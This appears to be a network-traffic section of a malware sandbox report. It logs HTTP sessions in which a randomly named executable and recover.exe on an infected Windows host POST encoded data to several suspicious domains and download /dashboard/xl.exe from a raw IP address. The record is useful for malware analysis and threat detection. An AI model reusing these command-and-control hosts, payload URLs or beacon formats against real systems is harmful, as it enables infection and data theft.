Dec 13, 2024 13:07:39.433037996 CET	10887	OUT	POST /0b3u/ HTTP/1.1 Host: www.quicktraze.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.quicktraze.website Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.quicktraze.website/0b3u/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 67 55 39 73 56 6d 6d 56 77 55 41 48 6f 4c 6d 32 2f 67 4b 77 34 4e 67 79 42 6a 4a 77 54 65 48 6f 48 74 58 77 48 58 44 4e 4f 6a 72 6b 53 50 65 53 4e 45 36 50 53 35 43 76 72 35 48 69 31 49 68 4e 35 70 4f 53 49 59 43 48 5a 58 4f 38 44 59 35 75 32 34 56 4b 6f 61 56 65 35 4c 4e 53 2f 37 36 2f 74 67 4e 45 2f 4b 73 48 5a 37 38 32 42 6d 68 6b 2b 7a 42 47 47 39 33 4a 67 54 65 69 4d 56 33 33 7a 4f 4c 62 43 63 4c 71 36 6d 78 6e 41 4c 49 41 72 64 50 39 48 39 43 49 55 6e 43 6a 57 42 37 64 71 6b 6d 54 6f 54 50 4d 69 74 51 4a 51 61 6c 77 2f 54 54 41 2b 66 4e 48 35 4d 69 52 50 4f 44 43 30 75 6b 65 6f 6b 64 56 66 57 39 54 37 4d 58 56 43 42 38 78 69 76 37 4b 79 56 63 6d 75 74 2f 49 73 34 74 71 64 46 59 59 46 4f 6d 49 52 4a 50 4f 43 31 6a 41 6b 6e 30 6b 54 70 34 63 33 4a 31 78 73 5a 70 69 35 71 73 48 58 4f 75 75 37 73 66 76 66 6a 34 33 51 72 76 65 7a 48 6e 71 77 52 37 4b 4a 78 54 4e 45 2f 51 6e 54 32 53 39 39 68 65 5a 51 5a 4a 43 54 4b 39 50 65 39 2f 58 4a 71 4d 46 39 67 59 64 6e 54 43 4a 49 57 65 [TRUNCATED] Data Ascii: 9B_ppt=gU9sVmmVwUAHoLm2/gKw4NgyBjJwTeHoHtXwHXDNOjrkSPeSNE6PS5Cvr5Hi1IhN5pOSIYCHZXO8DY5u24VKoaVe5LNS/76/tgNE/KsHZ782Bmhk+zBGG93JgTeiMV33zOLbCcLq6mxnALIArdP9H9CIUnCjWB7dqkmToTPMitQJQalw/TTA+fNH5MiRPODC0ukeokdVfW9T7MXVCB8xiv7KyVcmut/Is4tqdFYYFOmIRJPOC1jAkn0kTp4c3J1xsZpi5qsHXOuu7sfvfj43QrvezHnqwR7KJxTNE/QnT2S99heZQZJCTK9Pe9/XJqMF9gYdnTCJIWeq9xVsuIHLdSvQBYDbQ4jZLxtEa7zEbkSkY+g0hO0brdZ0Dn9GMrLthVFRCIRtcERusXYkN4qGrVToQqAv2luU1uSb+OjqL75Cucu4U7h3H5x0crku8uzf6Y8swSuxDZ+TP08ejoyqqYuHLXFWYC4vqwos0CrQ1DabJLj3TtV3CcW9uxLdnaFlNenUVBg+BHJ5ESGFlOCl1kpIv/l2tSO+S1kbvlvQ/CZMATWbBgONXw4tCyrvMPxpskYVm+9Kx1c3S2SGmWQO+joySZGxj3PucGc3eEO0KH4Iq/ykl1bNb2ybPSEVNth0AKPLr6eJBzbU5x1UIm2YuRsefUR2/ANEh++fML5woF1QYViIib4jhoQbi3h8UHVlZoWKOKh9ZqabTLxQeuvi2rAPXxOlNuf8HzTT3j3EU8RVH4un3doiz0vNB4rqaWHHT4NOd70RzDKPgiYh0SIuBJ9PciQ7mpw1sDxP9+EAUHRy+sGGIM2EunKPzdS3qJadWucghlpWLVG55fK1IIOwkXIReOAHN6d49pMqdAXHpCcMPVo4IVRIeCOWLWWkhPrnwnV24Y4OA2nuLmf91NDdw85ogfhhmB6J04uO3BcXM9GuO512OhsuCL60tFZxuFh9J1C/X+E/vishrUDhBkZDnLaFzpO6J2k7KOvayby9X+5nL [TRUNCATED]
Dec 13, 2024 13:07:40.717149973 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 12:07:40 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49825	209.74.64.58	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:42.084146023 CET	517	OUT	GET /0b3u/?9B_ppt=tWVMWWWOulwRw9KA3wu02d5KKGx3TcL9CpbeAEn5Jw6VZuj1AgCYZL+g8ZTCy/ZQwoOBNq7+YyWmcbYUwrN2tYgo9+cX77aYkG8YuMsAadwBJ35R4yxBFts=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.quicktraze.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:07:43.304805994 CET	219	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 12:07:43 GMT Server: Apache Content-Length: 68 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 76 57 4a 57 4c 47 75 45 75 45 63 69 71 59 36 56 2f 68 72 48 67 4a 77 7a 5a 33 52 33 4b 71 43 58 58 64 69 52 65 79 65 55 65 68 6e 43 54 62 4c 46 47 67 4b 48 62 4f 6d 50 73 74 66 4b 35 4e 35 45 2b 71 6d 77 Data Ascii: vWJWLGuEuEciqY6V/hrHgJwzZ3R3KqCXXdiReyeUehnCTbLFGgKHbOmPstfK5N5E+qmw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49836	45.200.148.45	80	1908	C:\Windows\SysWOW64\recover.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:46.392812014 CET	232	OUT	GET /dashboard/xl.exe HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Host: 45.200.148.45 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49886	45.200.148.45	80	1908	C:\Windows\SysWOW64\recover.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:08.416538000 CET	202	OUT	GET /dashboard/xl.exe HTTP/1.1 Host: 45.200.148.45 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49946	104.21.74.79	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:33.940336943 CET	764	OUT	POST /irzc/ HTTP/1.1 Host: www.tenmyk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tenmyk.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.tenmyk.shop/irzc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 71 61 6a 77 2f 59 47 4d 51 6f 45 71 31 69 39 73 73 6f 41 6c 77 45 6c 38 4e 66 30 71 36 6f 44 45 51 76 78 52 4b 51 52 73 42 50 6f 34 62 77 63 58 36 4e 77 64 6b 2f 70 78 32 42 78 4d 78 5a 63 35 56 56 63 72 43 32 44 50 7a 75 45 54 53 6b 68 66 6d 65 35 52 74 57 6b 71 50 32 66 42 55 49 47 50 71 66 4a 71 6d 38 79 69 71 55 30 6d 6a 33 57 5a 74 39 6a 55 52 46 48 35 30 4a 38 45 39 63 4e 69 79 50 4a 77 6c 73 52 6a 77 4e 4f 76 63 76 42 68 4d 30 31 64 54 45 48 58 32 5a 6a 64 75 74 42 63 66 47 75 4f 67 33 62 35 46 32 31 56 32 39 41 30 36 64 59 4e 5a 76 73 77 48 2f 52 53 4a 62 78 74 50 77 3d 3d Data Ascii: 9B_ppt=qajw/YGMQoEq1i9ssoAlwEl8Nf0q6oDEQvxRKQRsBPo4bwcX6Nwdk/px2BxMxZc5VVcrC2DPzuETSkhfme5RtWkqP2fBUIGPqfJqm8yiqU0mj3WZt9jURFH50J8E9cNiyPJwlsRjwNOvcvBhM01dTEHX2ZjdutBcfGuOg3b5F21V29A06dYNZvswH/RSJbxtPw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49953	104.21.74.79	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:36.613003969 CET	784	OUT	POST /irzc/ HTTP/1.1 Host: www.tenmyk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tenmyk.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.tenmyk.shop/irzc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 71 61 6a 77 2f 59 47 4d 51 6f 45 71 31 42 56 73 67 76 55 6c 68 30 6c 7a 42 2f 30 71 76 34 44 49 51 76 74 52 4b 54 63 33 43 39 38 34 61 55 59 58 37 4a 6b 64 6c 2f 70 78 35 68 78 4a 37 35 63 77 56 56 67 6a 43 32 76 50 7a 75 51 54 53 6c 52 66 68 74 42 53 73 47 6b 73 57 6d 66 44 61 6f 47 50 71 66 4a 71 6d 34 62 33 71 55 38 6d 67 45 4f 5a 76 5a 33 54 64 6c 48 34 67 5a 38 45 35 63 4e 6d 79 50 49 4b 6c 6f 51 32 77 4f 32 76 63 75 78 68 4d 6c 31 61 64 45 48 52 6f 70 69 49 34 75 45 74 59 33 66 6a 68 68 48 69 59 31 64 71 33 37 4e 75 72 73 35 61 4c 76 49 44 61 34 59 6d 45 59 4d 6b 55 33 6d 4a 6f 74 4a 37 7a 42 31 6c 63 4e 39 32 38 79 5a 66 43 68 6f 3d Data Ascii: 9B_ppt=qajw/YGMQoEq1BVsgvUlh0lzB/0qv4DIQvtRKTc3C984aUYX7Jkdl/px5hxJ75cwVVgjC2vPzuQTSlRfhtBSsGksWmfDaoGPqfJqm4b3qU8mgEOZvZ3TdlH4gZ8E5cNmyPIKloQ2wO2vcuxhMl1adEHRopiI4uEtY3fjhhHiY1dq37Nurs5aLvIDa4YmEYMkU3mJotJ7zB1lcN928yZfCho=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49959	104.21.74.79	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:39.273969889 CET	10866	OUT	POST /irzc/ HTTP/1.1 Host: www.tenmyk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tenmyk.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.tenmyk.shop/irzc/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 71 61 6a 77 2f 59 47 4d 51 6f 45 71 31 42 56 73 67 76 55 6c 68 30 6c 7a 42 2f 30 71 76 34 44 49 51 76 74 52 4b 54 63 33 43 39 6b 34 61 68 4d 58 36 72 4d 64 2f 2f 70 78 6e 52 78 49 37 35 64 67 56 52 4d 6e 43 32 79 74 7a 73 6f 54 55 47 4a 66 67 59 74 53 6e 47 6b 73 4c 32 66 47 55 49 48 48 71 66 35 75 6d 38 48 33 71 55 38 6d 67 46 2b 5a 68 64 6a 54 66 6c 48 35 30 4a 38 49 39 63 4e 43 79 50 77 77 6c 6f 64 4e 33 2b 57 76 64 4f 68 68 4c 58 64 61 52 45 48 54 70 70 6a 4c 34 70 4d 32 59 7a 48 42 68 68 62 63 59 32 42 71 30 38 51 73 2f 59 4e 6d 59 4e 45 68 50 59 73 63 4e 6f 55 6b 52 32 61 46 35 64 4a 55 7a 54 70 76 65 61 51 65 35 32 6c 62 64 46 6b 71 48 68 45 48 6c 32 6c 74 73 4e 76 2f 77 33 42 76 47 69 64 55 57 76 35 34 45 4c 70 68 34 30 74 51 77 46 4f 67 61 7a 74 71 4e 6f 70 7a 55 48 35 62 6e 33 69 46 6f 6c 75 46 36 63 68 77 4c 42 5a 6b 6c 37 78 57 4c 59 6a 34 74 6f 59 36 75 6e 4d 63 2f 63 47 4d 53 79 51 47 73 64 6e 56 35 4e 36 53 64 62 36 4a 76 44 76 44 66 43 47 33 50 6f 68 45 4b 43 4b [TRUNCATED] Data Ascii: 9B_ppt=qajw/YGMQoEq1BVsgvUlh0lzB/0qv4DIQvtRKTc3C9k4ahMX6rMd//pxnRxI75dgVRMnC2ytzsoTUGJfgYtSnGksL2fGUIHHqf5um8H3qU8mgF+ZhdjTflH50J8I9cNCyPwwlodN3+WvdOhhLXdaREHTppjL4pM2YzHBhhbcY2Bq08Qs/YNmYNEhPYscNoUkR2aF5dJUzTpveaQe52lbdFkqHhEHl2ltsNv/w3BvGidUWv54ELph40tQwFOgaztqNopzUH5bn3iFoluF6chwLBZkl7xWLYj4toY6unMc/cGMSyQGsdnV5N6Sdb6JvDvDfCG3PohEKCKT22+OQJ4HvJIMMHtAITLfhFB4mJTui1h1smt3qVBx4ZHFLvybvJwCpLNSY4hayXrTh0oO+XKMUWjjjfE7jPnBHKl9RjvC+Y5MlbxKngiN8WTo2Uq+hD7cnNg8xkytBjWDM51cdptGeOTBGDBeg5DErRTmpwiMRB3lXPoC42nuEoS99ap4n7EMUWS4Y18zfW30OiUSZvwk4ln1oCLrhAkdX95opeH/eSM0WhXV6jFptNb2cEgVh7NrcbWv4IxwbND9gCCp+SmGfuuNmJuPmbl17WQIjVS1lC7+1YS2G/KIvtuOARARTl5/mvfvfVQ7nTXHwu7XZelpSLo9H/+kBQgPMfPel+bEHF2bR+G95Osbhfwpmmu6gpCKiIY1hizVr9wrTtToES6pSaefJmaEv670oDA6k53KVVI0q1UwemSxPJddE1LZDeXtxUGPKY66pR3iRtsNyvAWLIs08vxDtg6seKyDn1P2kSt8NI0gjsLfokV96aT9WRPIa5sPO9Lgv+2jzhsn8JnMAg7ZXxGbRllowj6skcHXvvWAQZ2lCfPVDi33oxOz2CNh2qrtvs42tcIYvs8xlhJET1Fsu4IdUEnUIYnsa7IgQOmxnSJqzK5oJI3l+r1TQQPqa0SIAPRqXt+2AKhIuIOsTHYtWDJR/aJFUiRsvTEVcaClh [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49965	104.21.74.79	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:41.928286076 CET	510	OUT	GET /irzc/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=nYLQ8syZYIEqykNPtdlYwElZKL5y37q0UOpjKQ4AHu5ne0cyyooyzOVigyhm4upFaEQ5FVDL9IYlN2EnnOtWol53ChrSdq3Cue46r4D6qSkCmEW9rZbuVVo= HTTP/1.1 Host: www.tenmyk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:08:43.766669035 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 13 Dec 2024 12:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: https://tenmyk.shop/irzc/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=nYLQ8syZYIEqykNPtdlYwElZKL5y37q0UOpjKQ4AHu5ne0cyyooyzOVigyhm4upFaEQ5FVDL9IYlN2EnnOtWol53ChrSdq3Cue46r4D6qSkCmEW9rZbuVVo= x-litespeed-cache-control: public,max-age=3600 x-litespeed-tag: 3d9_HTTP.404,3d9_HTTP.301,3d9_404,3d9_URL.63e80ca7b6af420a78c880ebcf9fe9a1,3d9_ x-litespeed-cache: miss CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1s817q3bM4qCtdZ%2BqrIrzcFvAjzPjeIQ6a4yPEO4egRbyf1kgrjGPJdkt%2BvGseqlbrUo3E39EuDZjwmx%2BIU6CUul5geR1owNp0ZJ%2BESYSRww5QhMlGP%2B2xXiZ79MqKTZm%2F4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15d753cb92436d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1849&min_rtt=1849&rtt_var=924&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=510&delivery_rate=0&cwnd=160&unsent_bytes Data Raw: Data Ascii:
Dec 13, 2024 13:08:43.766716003 CET	41	IN	Data Raw: 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 0&cid=0000000000000000&ts=0&x=0"0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49984	3.33.130.190	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:49.617727041 CET	767	OUT	POST /fhx4/ HTTP/1.1 Host: www.tlcatlas.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tlcatlas.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.tlcatlas.xyz/fhx4/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 47 59 65 51 2f 32 47 36 32 74 63 36 59 4e 6c 54 71 63 42 79 63 49 71 62 6a 55 2f 6d 7a 6d 2f 6f 35 68 42 35 6f 78 30 2f 43 4a 6e 49 7a 79 72 63 55 4a 70 41 63 4d 71 4f 68 31 6a 73 65 4b 77 67 58 6b 6f 58 57 66 36 31 4a 78 49 6b 52 54 2b 77 63 7a 6d 41 66 52 4c 53 48 41 75 4e 38 2b 43 75 38 50 71 4e 42 6b 50 72 6b 34 4e 4a 35 4a 4b 4b 63 78 61 6b 30 62 45 49 74 52 49 59 62 4d 45 56 5a 6e 4d 34 72 48 34 41 39 51 4e 47 46 42 30 63 51 63 78 4c 32 4b 66 72 67 50 33 78 41 58 6d 63 6f 69 45 44 51 31 68 44 76 38 68 69 2b 54 57 56 49 51 70 2f 61 59 49 47 6a 77 52 56 71 4c 52 39 4b 77 3d 3d Data Ascii: 9B_ppt=GYeQ/2G62tc6YNlTqcBycIqbjU/mzm/o5hB5ox0/CJnIzyrcUJpAcMqOh1jseKwgXkoXWf61JxIkRT+wczmAfRLSHAuN8+Cu8PqNBkPrk4NJ5JKKcxak0bEItRIYbMEVZnM4rH4A9QNGFB0cQcxL2KfrgP3xAXmcoiEDQ1hDv8hi+TWVIQp/aYIGjwRVqLR9Kw==
Dec 13, 2024 13:08:50.697571993 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49992	3.33.130.190	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:52.276360035 CET	787	OUT	POST /fhx4/ HTTP/1.1 Host: www.tlcatlas.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tlcatlas.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.tlcatlas.xyz/fhx4/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 47 59 65 51 2f 32 47 36 32 74 63 36 59 74 31 54 74 4c 31 79 51 34 72 70 39 6b 2f 6d 36 47 2f 73 35 68 46 35 6f 30 45 76 43 36 50 49 7a 58 48 63 47 59 70 41 5a 4d 71 4f 75 56 6a 6c 44 61 77 72 58 6b 6b 35 57 65 47 31 4a 78 63 6b 52 53 75 77 66 41 4f 44 65 42 4c 71 53 51 75 31 7a 65 43 75 38 50 71 4e 42 6b 61 4f 6b 34 46 4a 36 35 61 4b 54 30 75 6e 39 37 45 4c 37 68 49 59 66 4d 45 4a 5a 6e 4e 64 72 47 6c 62 39 56 4a 47 46 42 6b 63 58 49 64 4b 39 4b 66 70 76 76 32 47 50 48 36 58 6d 58 38 50 52 6d 42 35 78 2f 35 38 79 31 62 50 5a 68 49 6f 49 59 73 31 2b 33 59 68 6e 49 73 30 52 31 64 72 5a 51 5a 38 79 39 71 49 5a 45 52 4f 70 76 35 6f 6e 44 77 3d Data Ascii: 9B_ppt=GYeQ/2G62tc6Yt1TtL1yQ4rp9k/m6G/s5hF5o0EvC6PIzXHcGYpAZMqOuVjlDawrXkk5WeG1JxckRSuwfAODeBLqSQu1zeCu8PqNBkaOk4FJ65aKT0un97EL7hIYfMEJZnNdrGlb9VJGFBkcXIdK9Kfpvv2GPH6XmX8PRmB5x/58y1bPZhIoIYs1+3YhnIs0R1drZQZ8y9qIZEROpv5onDw=
Dec 13, 2024 13:08:53.357635021 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49998	3.33.130.190	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:54.931969881 CET	10869	OUT	POST /fhx4/ HTTP/1.1 Host: www.tlcatlas.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tlcatlas.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.tlcatlas.xyz/fhx4/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 47 59 65 51 2f 32 47 36 32 74 63 36 59 74 31 54 74 4c 31 79 51 34 72 70 39 6b 2f 6d 36 47 2f 73 35 68 46 35 6f 30 45 76 43 36 58 49 7a 42 54 63 55 72 42 41 65 4d 71 4f 6e 31 6a 67 44 61 77 79 58 67 41 39 57 65 4c 58 4a 79 6b 6b 4c 77 32 77 65 78 4f 44 52 42 4c 71 51 51 75 4f 38 2b 44 6d 38 50 61 4a 42 6b 4b 4f 6b 34 46 4a 36 36 79 4b 61 42 61 6e 37 37 45 49 74 52 49 75 62 4d 45 31 5a 6e 31 6e 72 47 67 75 38 6d 78 47 46 68 55 63 52 37 6c 4b 2f 71 66 76 6f 76 32 65 50 48 33 50 6d 58 4a 38 52 6e 6c 54 78 35 46 38 69 53 4b 6e 43 53 49 31 51 2b 45 61 75 6c 4d 61 6a 70 63 31 57 43 45 54 56 69 42 42 6f 4f 4f 38 62 48 77 66 74 63 55 70 31 47 45 71 65 30 30 50 68 41 30 78 39 2f 34 6b 58 32 74 52 6d 42 68 68 6c 58 2b 4f 32 77 4f 48 55 77 47 35 4d 6c 48 77 33 68 6d 47 6f 6b 68 59 6f 45 79 6e 59 61 77 6c 43 42 4f 58 38 6a 6a 32 44 45 69 6e 6a 34 6b 34 74 47 62 76 62 52 35 77 65 45 2b 68 47 4a 41 64 34 36 6c 5a 62 53 55 4e 37 77 5a 53 34 6d 58 64 7a 44 45 55 2b 64 34 42 4f 68 6c 70 4a 76 38 [TRUNCATED] Data Ascii: 